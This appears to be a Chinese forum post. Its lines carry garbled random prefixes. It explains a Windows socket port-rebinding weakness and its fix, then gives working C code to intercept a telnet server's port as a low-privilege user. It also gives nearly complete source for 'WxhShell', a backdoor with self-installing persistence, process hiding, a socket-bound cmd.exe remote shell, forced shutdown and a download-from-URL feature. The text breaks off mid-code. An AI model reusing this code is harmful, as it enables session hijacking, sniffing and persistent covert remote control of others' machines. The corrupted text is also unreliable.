在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
8mX!mYO3c s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
D+T/ Z) '5}hm1, saddr.sin_family = AF_INET;
\kE0h\ 2dts}G saddr.sin_addr.s_addr = htonl(INADDR_ANY);
4LSs WO<@ HT7,B(.} bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
tI^91I yQJ0",w3o. 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
\`.v8C>vG
1^_W[+<S/ 这意味着什么?意味着可以进行如下的攻击:
!(*&P y&\4Wr9m 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
=
MByD&o` )xp3
ElH 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
9KK^1<46c _'p/8K5)= 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
;CO qu#( 9>{fsy 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
nJ2B*(S'v. _DR@P(0>_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
wOH:'sk[" +S+!:IB 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
G[}v?RLI O0}uY:B 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
&D<6Go/)_* SX,$$43 #include
!\ b-Ot( #include
%XR(K@V #include
Up
Z 9g" #include
%=z>kU1| DWORD WINAPI ClientThread(LPVOID lpParam);
olv&K(-ccI int main()
jd]L}%ax {
u.E>d9 WORD wVersionRequested;
Pk&=\i< DWORD ret;
rzdQLan WSADATA wsaData;
"9s}1C; Me BOOL val;
ts=D SOCKADDR_IN saddr;
Ztk%uc8_lM SOCKADDR_IN scaddr;
y/@Bhzc int err;
=lv( SOCKET s;
P%B|HnG^ SOCKET sc;
9z?c0W5x int caddsize;
FM%WMyb[ HANDLE mt;
J"#6m&R_q DWORD tid;
iK2f]h wVersionRequested = MAKEWORD( 2, 2 );
~LI } err = WSAStartup( wVersionRequested, &wsaData );
SN|!FW.*: if ( err != 0 ) {
/#5rt&q printf("error!WSAStartup failed!\n");
;{8 X+H return -1;
{^
BZ#)m| }
)4o8SF7lz saddr.sin_family = AF_INET;
Cw^iA
U 'h ? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
ty[%:eG# E 9Kp=3H saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
`]]m$ saddr.sin_port = htons(23);
'RwfW|~6 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Gy+c/gK {
J_a2DM6d printf("error!socket failed!\n");
LQqba4$ return -1;
;7[DFlS\P }
Q@p'nE, val = TRUE;
G;u 6p //SO_REUSEADDR选项就是可以实现端口重绑定的
3hkEjR if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{%6
'|<`[ {
nYC.zc*o x printf("error!setsockopt failed!\n");
alxIc.[ return -1;
5~>j98K }
)a!f")@uz //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
d~.hp //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
>q')%j //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
'oGMr=gp<& x`2dN/wDhf if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
m[l&&(+J, {
E690'\)31 ret=GetLastError();
A[4HD!9= printf("error!bind failed!\n");
;
p+C0!B2 return -1;
xn=mS!"1Zo }
o7gZc/?n listen(s,2);
EGRIhnED# while(1)
\{(cz/]G/ {
l d%#.~Q caddsize = sizeof(scaddr);
>!PM5%G //接受连接请求
qU&v50n sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
<%4pvn8d?& if(sc!=INVALID_SOCKET)
`&) {
.|:(VG$MfI mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
daB5E<? if(mt==NULL)
"<L9-vb {
+CQIm!Sp printf("Thread Creat Failed!\n");
>0 := <RW break;
5a5JOl$8 }
pNHL &H\ }
AgDXpaq CloseHandle(mt);
;M+~e~ }
#pD=TMefC closesocket(s);
zYis~+ WSACleanup();
5:~ zlg return 0;
Kk%
IN9 }
?Rh[S DWORD WINAPI ClientThread(LPVOID lpParam)
9)F$){G]vs {
mphs^k< Z SOCKET ss = (SOCKET)lpParam;
%~<F7qB SOCKET sc;
T[ zEAj unsigned char buf[4096];
4{$ L]toP SOCKADDR_IN saddr;
vQ5rhRG)E long num;
h?QGJ^#8 DWORD val;
\O>;,(>i DWORD ret;
EBmkKiI; //如果是隐藏端口应用的话,可以在此处加一些判断
Qoz4(~I //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
M\08 7k saddr.sin_family = AF_INET;
=EHKu|rX~ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Q2gz\N saddr.sin_port = htons(23);
V4*/t#L/ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
p13y`sU= {
`b)i;m printf("error!socket failed!\n");
m7cG]a~a return -1;
X-yS9E }
$B )jSxSy val = 100;
W
6R/{H if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
m4 c2WY6k {
ad<ZdO*h ret = GetLastError();
V4<f4|IL return -1;
@i>4k }
}vX1@n7T6 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
AHplvksb {
`$] ZT>& ret = GetLastError();
69Q#UJ return -1;
_y9NDLRs8 }
a^)@}4 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Zu ![v0 {
a;G>56iw printf("error!socket connect failed!\n");
fTI~wF8! closesocket(sc);
)4FW~o<i closesocket(ss);
pq,8z= Uf return -1;
XTq+ 9 }
;+~Phdy while(1)
rW2 {
NHD`c)Q //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
P\2x9T //如果是嗅探内容的话,可以再此处进行内容分析和记录
xtd1>| //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
VBg
M7d num = recv(ss,buf,4096,0);
K^[Dz\ov5 if(num>0)
'q{d? K send(sc,buf,num,0);
^4
~ V/ else if(num==0)
z#srgyLt break;
hx!hI1
num = recv(sc,buf,4096,0);
LE+#%>z> if(num>0)
SuJ4)f;'0 send(ss,buf,num,0);
Y#oY'S .;y else if(num==0)
n{z!L-x^b break;
4u]>$?X1_ }
tzG.)Uqs closesocket(ss);
cG4$)q;q closesocket(sc);
}N#hg>;
B return 0 ;
I~>Ye<g# }
0t0m?rVW Si=u=FI1e i/q1> ==========================================================
/~_,p,:aP MOu= 下边附上一个代码,,WXhSHELL
L[}Ak1 A 2PEA<{u ==========================================================
.Za)S5U hv9k9i7@l #include "stdafx.h"
1|H(q -e_L2<7 #include <stdio.h>
"S0WFP\P+ #include <string.h>
h$a%PaVf #include <windows.h>
FSkz[D_} #include <winsock2.h>
8Rd*`]@[pk #include <winsvc.h>
)\l(h%s[I #include <urlmon.h>
z-;{pPZ 4
JDk() #pragma comment (lib, "Ws2_32.lib")
*ta?7uSiT #pragma comment (lib, "urlmon.lib")
F@kd[>/[ {*t0WE&1t #define MAX_USER 100 // 最大客户端连接数
U<.,"`=l #define BUF_SOCK 200 // sock buffer
|eFce/ #define KEY_BUFF 255 // 输入 buffer
hBNA,e: >Ef{e6 #define REBOOT 0 // 重启
H4IJLZ3G #define SHUTDOWN 1 // 关机
"/$2oYNy+ n_MY69W #define DEF_PORT 5000 // 监听端口
db0]D\ VJ()sbl{k #define REG_LEN 16 // 注册表键长度
bz\-%$^k #define SVC_LEN 80 // NT服务名长度
RGV}c# yZw5?{g@ // 从dll定义API
BoHpfx1C typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
k;xIo(: typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
O[<0\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
QeNN*@
='i typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
X>4qL'b:z +/4wioGm // wxhshell配置信息
|.Vs(0O struct WSCFG {
n|AV7c int ws_port; // 监听端口
Auk#pO# char ws_passstr[REG_LEN]; // 口令
vG'I|OWg int ws_autoins; // 安装标记, 1=yes 0=no
Z[?zaQ$ char ws_regname[REG_LEN]; // 注册表键名
mo char ws_svcname[REG_LEN]; // 服务名
-wrVhCd~g] char ws_svcdisp[SVC_LEN]; // 服务显示名
mq6TwM char ws_svcdesc[SVC_LEN]; // 服务描述信息
8m"jd+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Bbzmq int ws_downexe; // 下载执行标记, 1=yes 0=no
LMTz/M char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
$fFh4O4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
K4K]oT tiQeON-Q_ };
^&Wa?
m. bTbF // default Wxhshell configuration
s>c0K@ADO struct WSCFG wscfg={DEF_PORT,
\^]*T'>b "xuhuanlingzhe",
?{rpzrc!* 1,
`Tk GI0q "Wxhshell",
=u
3YRqz "Wxhshell",
Q7 @oAeNd "WxhShell Service",
28x:]5=jb "Wrsky Windows CmdShell Service",
GiS:Nq`$( "Please Input Your Password: ",
l _g JC. 1,
z[+Sb; "
http://www.wrsky.com/wxhshell.exe",
45.Vr[FS. "Wxhshell.exe"
fOJTy0jX8 };
?'RB'o~ I#PhzGC@ // 消息定义模块
Ci_Qra 6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
kcG_ n char *msg_ws_prompt="\n\r? for help\n\r#>";
l?)!^}Qc char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
p-XO4Pc6 char *msg_ws_ext="\n\rExit.";
0S2/,[-u+ char *msg_ws_end="\n\rQuit.";
6<mlx' char *msg_ws_boot="\n\rReboot...";
M2pFXU?] char *msg_ws_poff="\n\rShutdown...";
Z]08gH char *msg_ws_down="\n\rSave to ";
X+kgx!u'y \[&&4CN{ char *msg_ws_err="\n\rErr!";
W^YaC
(I char *msg_ws_ok="\n\rOK!";
]\m>N]P] yS1i$[JV char ExeFile[MAX_PATH];
apZPHau6h int nUser = 0;
[,56oMd~ HANDLE handles[MAX_USER];
aUk]wiwIR9 int OsIsNt;
y}1Pc* -car>hQq SERVICE_STATUS serviceStatus;
mx5#K\ SERVICE_STATUS_HANDLE hServiceStatusHandle;
:}z`4S@b nrg$V>pD // 函数声明
1YNw= int Install(void);
;zT3Fv\ int Uninstall(void);
M $f6.j int DownloadFile(char *sURL, SOCKET wsh);
3JEg3|M( int Boot(int flag);
+w/B3b void HideProc(void);
uHq;z{ 2GI int GetOsVer(void);
-2'1KAk-W int Wxhshell(SOCKET wsl);
055C1RV% void TalkWithClient(void *cs);
;Z); k`j int CmdShell(SOCKET sock);
{gh<SZsE int StartFromService(void);
c9x&:U int StartWxhshell(LPSTR lpCmdLine);
2Z>8ROv^X <nTZs`$LwL VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
$0k7W?tu VOID WINAPI NTServiceHandler( DWORD fdwControl );
U"=Lzo.0 ZUkM8M$c // 数据结构和表定义
Xdf4%/Op SERVICE_TABLE_ENTRY DispatchTable[] =
bYO['ORr@ {
#\
uB!;Q {wscfg.ws_svcname, NTServiceMain},
Dt!
< {NULL, NULL}
H:S<O%f };
6j!idA!' a@J/[$5 // 自我安装
uW
[yNwM int Install(void)
\~g,;>%7Y {
Si@6'sw char svExeFile[MAX_PATH];
icb*L ~qm HKEY key;
!C h1q strcpy(svExeFile,ExeFile);
ltlo$`PR Kv2S&P|jXM // 如果是win9x系统,修改注册表设为自启动
&Q#*Nnb3 if(!OsIsNt) {
?J,,RK. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
J.'%=q(Sb RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*{P/3yH RegCloseKey(key);
q#@r*hl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
4$WR8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#4JLWg RegCloseKey(key);
\Z,{De% return 0;
XK\3"`kd }
Rj4C-X4= }
\7%#4@;? }
U1HG{u,"y else {
\A,zwdt
P h!v<J // 如果是NT以上系统,安装为系统服务
_m[DieR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
zhm 0J-g if (schSCManager!=0)
V[uSo$k+> {
lx=tOfj8 SC_HANDLE schService = CreateService
Rk[a|T & (
J8i,[,KcE schSCManager,
E3l*_b0 wscfg.ws_svcname,
KPI96P wscfg.ws_svcdisp,
!><asaB]1 SERVICE_ALL_ACCESS,
)UM^#<- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
[8^q3o7n SERVICE_AUTO_START,
[61*/=gWe SERVICE_ERROR_NORMAL,
aWlIq(dU svExeFile,
yi*EobP NULL,
\hZ%NLj NULL,
;Xy=;Z.]i NULL,
dzBP<Xyh NULL,
huS*1xl NULL
b0YEIV<$ );
W>i"p~! if (schService!=0)
q[C?1Kc.z {
YcX\t6VK CloseServiceHandle(schService);
(y 7X1Qc) CloseServiceHandle(schSCManager);
CUYA:R<) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
BkGExz strcat(svExeFile,wscfg.ws_svcname);
[5& nH@og if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
|5tZ*$nGa RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
(or"5}\6- RegCloseKey(key);
R6Ov return 0;
z-606g }
uBa<5YDF }
N{S) b CloseServiceHandle(schSCManager);
|:&6eDlR }
n\l?+)S * }
uT4|43<
G nAEyL+6U return 1;
M@{#yEP }
P|bow+4 -]HZ?@ // 自我卸载
*
l1*zaE int Uninstall(void)
;_)~h$1%= {
3g;, HKEY key;
+Gt9!x}#e m]!hP^^ if(!OsIsNt) {
)/%5f{+} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
P+}~6}wJE RegDeleteValue(key,wscfg.ws_regname);
ft6)n T/"& RegCloseKey(key);
8zD>t~N2C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!43!JfD RegDeleteValue(key,wscfg.ws_regname);
l^9gFp~I RegCloseKey(key);
NBY|U{.g return 0;
qrYbc~jI7 }
uW(-? }
^ls@Gr7`P }
v62_VT2v else {
Ze eV- 0H}tb}4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
JiaR*3# if (schSCManager!=0)
#~|k EGt {
P,{Q k~iu SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
PY.K_(D if (schService!=0)
hOUH1m. {
KU/r"lMNlU if(DeleteService(schService)!=0) {
o5tCbsHj- CloseServiceHandle(schService);
MhD' CloseServiceHandle(schSCManager);
fw jo? return 0;
,UMr_ e{| }
I[Lg0H8 CloseServiceHandle(schService);
/;#kV]nF }
&,k!,<IF CloseServiceHandle(schSCManager);
M`H#Qo5/ }
78uImC*o }
q2vD)r 1N8] ~j return 1;
\D? '.Wo% }
lD0-S0i D4!;*2t // 从指定url下载文件
V|97; int DownloadFile(char *sURL, SOCKET wsh)
C~qZ& {
nc k/Dw HRESULT hr;
q()o|V char seps[]= "/";
T,pr&1]Lw char *token;
/GIGE##1F char *file;
THp_ dTD char myURL[MAX_PATH];
Nh.+woFq4 char myFILE[MAX_PATH];
{Ya$Q#l Uz^N6q strcpy(myURL,sURL);
{fR\yWkt? token=strtok(myURL,seps);
cERIj0~ while(token!=NULL)
#cfiN b}GX {
@|anu&Hm file=token;
S{+t>en token=strtok(NULL,seps);
JX=rL6Y@:; }
2!sPgIz w*VN= GetCurrentDirectory(MAX_PATH,myFILE);
)/$J$'mcxd strcat(myFILE, "\\");
N>H@vt~ strcat(myFILE, file);
>zW2w2O3 send(wsh,myFILE,strlen(myFILE),0);
rv*{[K send(wsh,"...",3,0);
s|Mo3_> hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
:2?g_ if(hr==S_OK)
%R c#/y return 0;
UA6id|G else
_`udd)Y2 return 1;
fs'SCwx 3CoZ2 }
^5sA*%T4 !<p,G`r // 系统电源模块
%;'~TtW5 int Boot(int flag)
>a?Bk4w {
gXdMGO> HANDLE hToken;
]/=R ABi TOKEN_PRIVILEGES tkp;
V+E8{|dYL yJ $6vmQ if(OsIsNt) {
o9eOp3w30 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
xS,24{-HJ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
lx:$EJ tkp.PrivilegeCount = 1;
DhyR tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
EK';\} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
>@2<^&K` if(flag==REBOOT) {
k H.dtg_ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
g<j) return 0;
B)JMughq_ }
FH,]' else {
kUd]8Ff! if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
h9)S&Sk{s return 0;
` 2W^Ui,4 }
cpdESc9W }
nI*.(+h else {
k*$WAOJEW if(flag==REBOOT) {
pe?)AiTZ: if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
V`I4"}M1 return 0;
*S,~zOYN }
I1<WHq
else {
Vu$m1,/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
h&>3;Lj return 0;
=1IK"BA2? }
[neuwdN }
4IeCb? ot}erC2~ return 1;
^&>B,;Wu }
6
VEB2F K[z)ts- // win9x进程隐藏模块
981-[ga`Y void HideProc(void)
\&Yn)|! {
h4;kjr}h} c{M
,K HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
,2FK$:M\ if ( hKernel != NULL )
o "VKAP {
FLi'}C pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
?mH=3
:~ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
zhJeTctRz FreeLibrary(hKernel);
s#$t!F??9 }
R_EU|a y [Vd*8 return;
}3z3GU8Q- }
\,;glY=M! v`4w=!4 // 获取操作系统版本
C%4ed# int GetOsVer(void)
/d&m#%9Up] {
3 Zp<# OSVERSIONINFO winfo;
KM &P5} winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
#S7oW@ GetVersionEx(&winfo);
(;fJXgj. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
hb3n-
rO return 1;
nlv,j& else
$#=d@Nw_ return 0;
g9C;JmU }
Yc#Uu8f- Z
`F[0- // 客户端句柄模块
Tg)F.): int Wxhshell(SOCKET wsl)
>nkVZ;tL {
G2`YZ\ SOCKET wsh;
a?gF;AYk struct sockaddr_in client;
5AT^puL]] DWORD myID;
3,i j@P Ti2cD while(nUser<MAX_USER)
e=LrgRy+ {
99OZK int nSize=sizeof(client);
%lj5Olj wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
u(zgKoF9A if(wsh==INVALID_SOCKET) return 1;
z$&B7? jtoS{B, handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
_qB
._ if(handles[nUser]==0)
rl.K{Uad closesocket(wsh);
U)dcemQY else
1ZFKLI`V nUser++;
X1w11Z7o }
@Z/jaAjUC WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
.]>Tj^1 (H:c80/V return 0;
C2<TR PT }
4`?PtRX .$~3RjM // 关闭 socket
];5J void CloseIt(SOCKET wsh)
*o1US {
!$n@:W/ closesocket(wsh);
p7\LLJ y nUser--;
r QzdHA ExitThread(0);
,OlS>>, }
[w}- )&c w!UF^~ // 客户端请求句柄
ql9n`?Q void TalkWithClient(void *cs)
`N[@lV\xp! {
gI7*zR4D w*{{bISw| SOCKET wsh=(SOCKET)cs;
:G6CWE char pwd[SVC_LEN];
RV]#Bg*[# char cmd[KEY_BUFF];
@Yt394gA%\ char chr[1];
q=^;lWs4 int i,j;
x((u iq3)}hGo while (nUser < MAX_USER) {
=9TwBr.CJ M*k,M=sX if(wscfg.ws_passstr) {
a;5clonB if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
nql1I<I //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9O &]!ga //ZeroMemory(pwd,KEY_BUFF);
V|A)f@ Fs i=0;
sm"Rp~[i while(i<SVC_LEN) {
UD14q~ (1Z ~_i=hx // 设置超时
N?c~AEk9U fd_set FdRead;
?9xWTVa8 struct timeval TimeOut;
X:t?'41m\ FD_ZERO(&FdRead);
nt"\FZ*;3 FD_SET(wsh,&FdRead);
B _ J2Bf TimeOut.tv_sec=8;
WCY._H>|
TimeOut.tv_usec=0;
KHP/Y{mH int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
F&`%L#s| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
nKd'5f1
DN%JT[7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
l`#rhuy` pwd
=chr[0]; \DlMOG
if(chr[0]==0xd || chr[0]==0xa) { 4-HBXG9#/
pwd=0; !d 4DTo
break; DI(X B6
} w15a~\Qu
i++; 7*K2zu3
} qsEFf(9G
=,6X_m
// 如果是非法用户,关闭 socket CqWO 0
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R`o
Xkj
} w^cQL%
2f{p$YIt
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G/~b(V;>
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;TC]<N.YJT
'w1ll9O
while(1) { Vug[q=i
9s!R_R&W.
ZeroMemory(cmd,KEY_BUFF); ) iV^rLwL
[xb'73
// 自动支持客户端 telnet标准 zrA3bWs
j=0; bz 7?F!
while(j<KEY_BUFF) { ^N^s|c'
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %jx<<hW
cmd[j]=chr[0]; }s"].Xm^2
if(chr[0]==0xa || chr[0]==0xd) { i"+TKo-
cmd[j]=0; DD
break; x8c>2w;6x^
} K[?@nl?,z
j++; *6][[)(
} ~Hd* Xl
U)iBeYW:
// 下载文件 }Q9+krrow
if(strstr(cmd,"http://")) { yW*,Llb5
send(wsh,msg_ws_down,strlen(msg_ws_down),0); #y"LFoJn
if(DownloadFile(cmd,wsh)) 4Wvefq"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); YIIc@)
else =eS?`|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *q\>DE=7
} 4M0p:Ey '
else { B@ z ng2[
Xwu&K8q21
switch(cmd[0]) { n``9H91
S|KUh|=Q
// 帮助 Q t>|TGz
case '?': { ;gAL_/_
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M(C$SB>
break; .h/2-pQ>
} ?I+$KjE+
// 安装 A42!%>PB
case 'i': { ^U*1_|Jh
if(Install())
$tc1te
send(wsh,msg_ws_err,strlen(msg_ws_err),0); MO| Dwuaf
else "&`>+Yw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~e)"!r
break; j
B1ZF#
} 9;9ge
// 卸载 RFSwX*!
case 'r': { }}rp/16
if(Uninstall()) :AQ9-&i/a-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ek_<2!%X
else P0sAq7"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \"L0d1DK)
break; 1D!MXYgm1b
} !&.-{ _$
// 显示 wxhshell 所在路径 =\MAz[IDj
case 'p': { k=d0%}
`M(
char svExeFile[MAX_PATH];
M_%c9g@x
strcpy(svExeFile,"\n\r"); sX}#L
strcat(svExeFile,ExeFile); i{:iRUC#
send(wsh,svExeFile,strlen(svExeFile),0); s +qodb+
break; #W.vX=/*
} DSq?|H
// 重启 /?b{*<TK
case 'b': { .A_R6~::
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~6O~Fth
if(Boot(REBOOT)) Hr7pcz/#l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z.x]6
else { Eht8~"fj
closesocket(wsh); yh|+Usa
ExitThread(0); C(z'oi:f
} m],.w M8
break; .wlKl[lE2
} !mB
`F C
// 关机 8TU(5:xJo
case 'd': { t.
(6tL]
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z[O*f#t
if(Boot(SHUTDOWN)) 5DkEJk7a
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
3Z`
wU
else { cW"DDm
g
closesocket(wsh); oS<GjI:
ExitThread(0); Fq
oh!F
} 4gVIuF*pS
break; wa`c3PQGu
} 7|_2@4-W6
// 获取shell JY;u<xl
case 's': { 8Z"f"
CmdShell(wsh); myqwU`s
closesocket(wsh); 7xux%:BN
ExitThread(0); hsYE&Np_Q
break; S;D]ym
} \IudS{
.?;
// 退出 qHo Hh
case 'x': { D/;[x{;E
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T(]*jaB
CloseIt(wsh); 8|L@-F
break; 4sBvW
} esQ`6i
// 离开 -AolW+Y
case 'q': { G K3T w
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^Pu:&:ki
closesocket(wsh); gN73)uJ0
WSACleanup(); _6`GHx
exit(1); Hi/[
break; ._<,
Eodv
} CF\wR;6k
} >Bdh`Ot-!
} \Y8 sIs
'$'a .q1q9
// 提示信息 H!OX1F
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /0fHkj/J=B
} 1w7XM0SHcn
} mE>{K
\7#w@3*
return; UugR
} HvKdV`bz
2mMi=pv9
// shell模块句柄 >}2
,2
int CmdShell(SOCKET sock) %X}vuE[[UC
{ Doq}UWp
STARTUPINFO si; U /~uu
ZeroMemory(&si,sizeof(si)); Dv`"3
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k'PvQl"I
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6BEpnw>p(
PROCESS_INFORMATION ProcessInfo; ~-uf%=
char cmdline[]="cmd"; =1(7T.t
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Gm9
return 0; *tk=D sRW
} 7/k7V)
?D_iib7
// 自身启动模式 ja/wI'J<
int StartFromService(void) 9V&+xbR&
{ iQT0%WaHl
typedef struct `kv7Rr}Q
{ Y
9z*xS
DWORD ExitStatus; j6$@vA)
DWORD PebBaseAddress; BYHyqpP9
DWORD AffinityMask; e8oAGh"
DWORD BasePriority; }LQV2 hKTG
ULONG UniqueProcessId; !b4AeiL>w
